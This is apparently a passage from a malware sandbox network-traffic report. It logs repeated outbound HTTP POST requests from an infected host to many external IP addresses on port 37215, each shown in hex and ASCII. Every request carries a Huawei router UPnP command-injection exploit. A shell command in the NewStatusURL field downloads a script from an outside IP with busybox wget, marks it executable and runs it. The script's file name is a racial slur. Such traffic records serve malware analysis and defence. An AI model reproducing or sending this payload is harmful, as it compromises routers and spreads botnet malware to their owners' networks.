2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:31.809360027 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.15	38408	94.121.188.221	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:29.348711967 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.15	45888	94.120.164.149	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:29.348866940 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.15	35198	94.123.81.139	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:29.348967075 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:33.442908049 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:39.586679935 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:51.618369102 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.473692894 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:06.624269009 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 